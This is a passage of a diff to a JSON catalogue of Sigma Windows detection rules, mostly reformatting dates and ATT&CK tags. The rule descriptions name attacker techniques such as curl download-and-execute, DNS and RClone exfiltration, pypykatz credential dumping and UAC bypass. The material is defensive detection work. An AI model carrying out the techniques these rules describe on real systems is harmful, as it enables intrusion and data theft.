install a new certificate on the system.\nAdversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\n", "meta": { "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "creation_date": "2023/03/05", + "creation_date": "2023-03-05", "falsepositive": [ "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" ], @@ -44975,7 +44982,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certmgr_certificate_installation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.004" ] }, @@ -44995,7 +45002,7 @@ "description": "Detects a suspicious program execution in Outlook temp folder", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/01", + "creation_date": "2019-10-01", "falsepositive": [ "Unknown" ], @@ -45008,7 +45015,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_execution_from_temp.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001" ] }, @@ -45028,7 +45035,7 @@ "description": "Detects when a user downloads a file by using CertOC.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/05/16", + "creation_date": "2022-05-16", "falsepositive": [ "Unknown" ], @@ -45041,7 +45048,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -45061,7 +45068,7 @@ "description": "Detects addition of users to the local Remote Desktop Users group via \"Net\" or \"Add-LocalGroupMember\".", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/06", + "creation_date": "2021-12-06", "falsepositive": [ "Administrative activity" ], @@ -45075,7 +45082,7 @@ ], "tags": [ "attack.persistence", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1133", "attack.t1136.001", "attack.t1021.001" @@ -45111,7 +45118,7 @@ "description": "Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)", "meta": { "author": "frack113", - "creation_date": "2022/05/16", + "creation_date": "2022-05-16", "falsepositive": [ "Legitimate use" ], @@ -45124,7 +45131,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -45144,7 +45151,7 @@ "description": "Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/08/13", + "creation_date": "2018-08-13", "falsepositive": [ "Admin activity", "Scripts and administrative tools used in the monitored environment", @@ -45155,8 +45162,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_execution.yml" ], "tags": [ @@ -45181,7 +45188,7 @@ "description": "Detects usage of an encoded/obfuscated version of an IP address (hex, octal, etc.) via command line", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)", - "creation_date": "2022/08/03", + "creation_date": "2022-08-03", "falsepositive": [ "Unknown" ], @@ -45205,7 +45212,7 @@ "description": "Detects the use of SDelete to erase a file not the free space", "meta": { "author": "frack113", - "creation_date": "2021/06/03", + "creation_date": "2021-06-03", "falsepositive": [ "Unknown" ], @@ -45238,7 +45245,7 @@ "description": "Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/01/09", + "creation_date": "2019-01-09", "falsepositive": [ "Administrative scripts" ], @@ -45272,7 +45279,7 @@ "description": "Detects unknown program using commandline flags usually used by tools such as PsExec and PAExec to start programs with SYSTEM Privileges", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/05/22", + "creation_date": "2021-05-22", "falsepositive": [ "Weird admins that rename their tools", "Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing" @@ -45282,13 +45289,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://www.poweradmin.com/paexec/", "https://learn.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_susp_psexec_paexec_flags.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1587.001" ] }, @@ -45308,7 +45315,7 @@ "description": "Detects usage of \"MSOHTMED\" to download arbitrary files", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -45321,7 +45328,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msohtmed_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -45342,7 +45349,7 @@ "description": "Detects when a user performs data exfiltration by using DataSvcUtil.exe", "meta": { "author": "Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger", - "creation_date": "2021/09/30", + "creation_date": "2021-09-30", "falsepositive": [ "DataSvcUtil.exe being used may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -45353,11 +45360,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", "https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services", - "https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", "https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", + "https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", + "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml" ], "tags": [ @@ -45381,7 +45388,7 @@ "description": "Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/06/22", + "creation_date": "2018-06-22", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], @@ -45415,7 +45422,7 @@ "description": "Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)", "meta": { "author": "Andreas Hunkeler (@Karneades), Florian Roth", - "creation_date": "2021/12/17", + "creation_date": "2021-12-17", "falsepositive": [ "Legitimate calls to system binaries", "Company specific internal usage" @@ -45425,13 +45432,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://web.archive.org/web/20231230220738/https://www.lunasec.io/docs/blog/log4j-zero-day/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "0d34ed8b-1c12-4ff2-828c-16fc860b766d", @@ -45441,7 +45448,7 @@ "description": "Well-known DNS Exfiltration tools execution", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unlikely" ], @@ -45450,14 +45457,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/yarrick/iodine", "https://github.com/iagox86/dnscat2", + "https://github.com/yarrick/iodine", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.001", - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.004", "attack.t1132.001" ] @@ -45492,7 +45499,7 @@ "description": "Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories", "meta": { "author": "frack113", - "creation_date": "2022/05/07", + "creation_date": "2022-05-07", "falsepositive": [ "ViberPC updater calls this binary with the following commandline \"ie4uinit.exe -ClearIconCache\"" ], @@ -45506,7 +45513,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -45526,7 +45533,7 @@ "description": "Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc", "meta": { "author": "Bhabesh Raj, Sittikorn S, Aaron Greetham (@beardofbinary) - NCC Group", - "creation_date": "2021/05/10", + "creation_date": "2021-05-10", "falsepositive": [ "Unknown" ], @@ -45535,11 +45542,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", - "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", + "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rclone_execution.yml" ], "tags": [ @@ -45563,7 +45570,7 @@ "description": "Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields", "meta": { "author": "Markus Neis, Florian Roth", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Unknown" ], @@ -45572,14 +45579,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://atomicredteam.io/defense-evasion/T1220/", - "https://twitter.com/mattifestation/status/986280382042595328", "https://web.archive.org/web/20190209154607/https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html", + "https://atomicredteam.io/defense-evasion/T1220/", "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", + "https://twitter.com/mattifestation/status/986280382042595328", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1047", "attack.t1220", "attack.execution", @@ -45624,7 +45631,7 @@ "description": "Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion.\n", "meta": { "author": "@neu5ron, Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/03/22", + "creation_date": "2019-03-22", "falsepositive": [ "Unknown" ], @@ -45634,12 +45641,12 @@ "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", - "https://abuse.io/lockergoga.txt", "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "https://abuse.io/lockergoga.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_trace_evasion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070", "attack.t1562.006", "car.2016-04-002" @@ -45668,7 +45675,7 @@ "description": "Detect the usage of \"DirLister.exe\" a utility for quickly listing folder or drive contents. It was seen used by BlackCat ransomware to create a list of accessible directories and files.", "meta": { "author": "frack113", - "creation_date": "2022/08/20", + "creation_date": "2022-08-20", "falsepositive": [ "Legitimate use by users" ], @@ -45702,7 +45709,7 @@ "description": "Detects the execution of \"wmic\" with the \"group\" flag.\nAdversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/12", + "creation_date": "2021-12-12", "falsepositive": [ "Unknown" ], @@ -45735,7 +45742,7 @@ "description": "Detects the execution of a renamed office binary", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/20", + "creation_date": "2022-12-20", "falsepositive": [ "Unknown" ], @@ -45748,7 +45755,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_office_processes.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "0b0cd537-fc77-4e6e-a973-e53495c1083d", @@ -45758,7 +45765,7 @@ "description": "Detects a Windows command line executable started from MMC", "meta": { "author": "Karneades, Swisscom CSIRT", - "creation_date": "2019/08/05", + "creation_date": "2019-08-05", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_mmc_susp_child_process.yml", "level": "high", @@ -45769,7 +45776,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_susp_child_process.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.003" ] }, @@ -45789,7 +45796,7 @@ "description": "Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2024/01/11", + "creation_date": "2024-01-11", "falsepositive": [ "Unknown" ], @@ -45798,13 +45805,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", - "https://github.com/projectHULK/AD_Recon/blob/dde2daba9b3393a9388cbebda87068972cc0bd3b/SecurityAssessment.ps1#L2699", - "https://github.com/EvotecIT/TheDashboard/blob/481a9ce8f82f2fd55fe65220ee6486bae6df0c9d/Examples/RunReports/PingCastle.ps1", - "https://github.com/802-1x/Compliance/blob/2e53df8b6e89686a0b91116b3f42c8f717dca820/Ping%20Castle/Get-PingCastle-HTMLComplianceReport.ps1#L8", "https://github.com/vletoux/pingcastle", + "https://github.com/802-1x/Compliance/blob/2e53df8b6e89686a0b91116b3f42c8f717dca820/Ping%20Castle/Get-PingCastle-HTMLComplianceReport.ps1#L8", + "https://github.com/projectHULK/AD_Recon/blob/dde2daba9b3393a9388cbebda87068972cc0bd3b/SecurityAssessment.ps1#L2699", "https://github.com/fengjixuchui/Start-ADEnum/blob/e237a739db98b6104427d833004836507da36a58/Functions/Start-ADEnum.ps1#L450", "https://github.com/lkys37en/Start-ADEnum/blob/5b42c54215fe5f57fc59abc52c20487d15764005/Functions/Start-ADEnum.ps1#L680", + "https://github.com/EvotecIT/TheDashboard/blob/481a9ce8f82f2fd55fe65220ee6486bae6df0c9d/Examples/RunReports/PingCastle.ps1", + "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_pingcastle.yml" ], "tags": [ @@ -45828,7 +45835,7 @@ "description": "Detects a suspicious process spawning from an Outlook process.", "meta": { "author": "Michael Haag, Florian Roth (Nextron Systems), Markus Neis, Elastic, FPT.EagleEye Team", - "creation_date": "2022/02/28", + "creation_date": "2022-02-28", "falsepositive": [ "Unknown" ], @@ -45862,7 +45869,7 @@ "description": "Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/27", + "creation_date": "2022-04-27", "falsepositive": [ "Unlikely" ], @@ -45871,12 +45878,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/cube0x0", "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files", + "https://github.com/cube0x0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_pe_metadata.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1588.002", "attack.t1003" ] @@ -45904,7 +45911,7 @@ "description": "Detects a code page switch in command line or batch scripts to a rare language", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/10/14", + "creation_date": "2019-10-14", "falsepositive": [ "Administrative activity (adjust code pages according to your organization's region)" ], @@ -45919,7 +45926,7 @@ ], "tags": [ "attack.t1036", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -45938,7 +45945,7 @@ "description": "Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate use of fodhelper.exe utility by legitimate user" ], @@ -45947,12 +45954,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md", + "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -45972,7 +45979,7 @@ "description": "Detects creation of a scheduled task with a GUID like name", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/31", + "creation_date": "2022-10-31", "falsepositive": [ "Legitimate software naming their tasks as GUIDs" ], @@ -46006,7 +46013,7 @@ "description": "Detects the usage of \"pypykatz\" to obtain stored credentials. Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database through Windows registry where the SAM database is stored", "meta": { "author": "frack113", - "creation_date": "2022/01/05", + "creation_date": "2022-01-05", "falsepositive": [ "Unknown" ], @@ -46015,12 +46022,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", "https://github.com/skelsec/pypykatz", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pypykatz.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002" ] }, @@ -46040,7 +46047,7 @@ "description": "Detects the PowerShell command lines with special characters", "meta": { "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Amazon SSM Document Worker", "Windows Defender ATP" @@ -46055,7 +46062,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.t1059.001" ] @@ -46083,7 +46090,7 @@ "description": "Detects execution of regsvr32 where the DLL is located in a highly suspicious locations", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/26", + "creation_date": "2023-05-26", "falsepositive": [ "Unlikely" ], @@ -46096,7 +46103,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_2.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -46116,7 +46123,7 @@ "description": "Detects usage of namp/zenmap. Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", "meta": { "author": "frack113", - "creation_date": "2021/12/10", + "creation_date": "2021-12-10", "falsepositive": [ "Legitimate administrator activity" ], @@ -46150,7 +46157,7 @@ "description": "Detects potential abuse of the \"manage-bde.wsf\" script as a LOLBIN to proxy execution", "meta": { "author": "oscd.community, Natalia Shornikova, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unlikely" ], @@ -46167,7 +46174,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -46187,7 +46194,7 @@ "description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).", "meta": { "author": "Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/09/06", + "creation_date": "2019-09-06", "falsepositive": [ "Unknown" ], @@ -46196,13 +46203,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_install_reg_debugger_backdoor.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.008" ] }, @@ -46222,7 +46229,7 @@ "description": "Detects actions that clear the local ShimCache and remove forensic evidence", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/02/01", + "creation_date": "2021-02-01", "falsepositive": [ "Unknown" ], @@ -46235,7 +46242,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_shimcache_flush.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -46255,7 +46262,7 @@ "description": "Detects commands that temporarily turn off Volume Snapshots", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/01/28", + "creation_date": "2021-01-28", "falsepositive": [ "Legitimate administration" ], @@ -46268,7 +46275,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_volsnap_disable.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -46288,7 +46295,7 @@ "description": "Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.", "meta": { "author": "Eli Salem, Sander Wiebing, oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -46297,14 +46304,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml" ], "tags": [ "attack.t1112", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -46323,7 +46330,7 @@ "description": "Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "High" ], @@ -46338,7 +46345,7 @@ ], "tags": [ "attack.execution", - "attack.command_and_control", + "attack.command-and-control", "attack.t1059.003", "attack.t1059.001", "attack.t1105" @@ -46374,7 +46381,7 @@ "description": "Detects usage of the \"Add-AppxPackage\" or it's alias \"Add-AppPackage\" to install unsigned AppX packages", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/31", + "creation_date": "2023-01-31", "falsepositive": [ "Installation of unsigned packages for testing purposes" ], @@ -46389,7 +46396,7 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "37651c2a-42cd-4a69-ae0d-22a4349aa04a", @@ -46399,7 +46406,7 @@ "description": "Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.", "meta": { "author": "Sreeman, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/01/13", + "creation_date": "2020-01-13", "falsepositive": [ "Unknown" ], @@ -46412,9 +46419,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_curl_download_exec_combo.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -46441,7 +46448,7 @@ "description": "Detects potential \"ShellDispatch.dll\" functionality abuse to execute arbitrary binaries via \"ShellExecute\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/20", + "creation_date": "2023-06-20", "falsepositive": [ "Unlikely" ], @@ -46455,7 +46462,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "82343930-652f-43f5-ab70-2ee9fdd6d5e9", @@ -46465,7 +46472,7 @@ "description": "Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/15", + "creation_date": "2023-02-15", "falsepositive": [ "Unknown" ], @@ -46474,16 +46481,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", - "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", + "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://twitter.com/egre55/status/1087685529016193025", "https://twitter.com/_JohnHammond/status/1708910264261980634", - "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", + "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", + "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -46503,7 +46510,7 @@ "description": "Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/15", + "creation_date": "2023-05-15", "falsepositive": [ "Unknown" ], @@ -46544,7 +46551,7 @@ "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", "meta": { "author": "Matthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113", - "creation_date": "2019/06/15", + "creation_date": "2019-06-15", "falsepositive": [ "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist", "PsExec installed via Windows Store doesn't contain original filename field (False negative)" @@ -46554,15 +46561,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", - "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", - "https://twitter.com/christophetd/status/1164506034720952320", "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", + "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", + "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", + "https://twitter.com/christophetd/status/1164506034720952320", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003", "car.2013-05-009" ] @@ -46583,7 +46590,7 @@ "description": "Detects the removal or uninstallation of an application via \"Wmic.EXE\".", "meta": { "author": "frack113", - "creation_date": "2022/01/28", + "creation_date": "2022-01-28", "falsepositive": [ "Unknown" ], @@ -46616,7 +46623,7 @@ "description": "Detects applications trying to modify the registry in order to disable any write-protect property for storage devices.\nThis could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.\n", "meta": { "author": "Sreeman", - "creation_date": "2021/06/11", + "creation_date": "2021-06-11", "falsepositive": [ "Unknown" ], @@ -46629,7 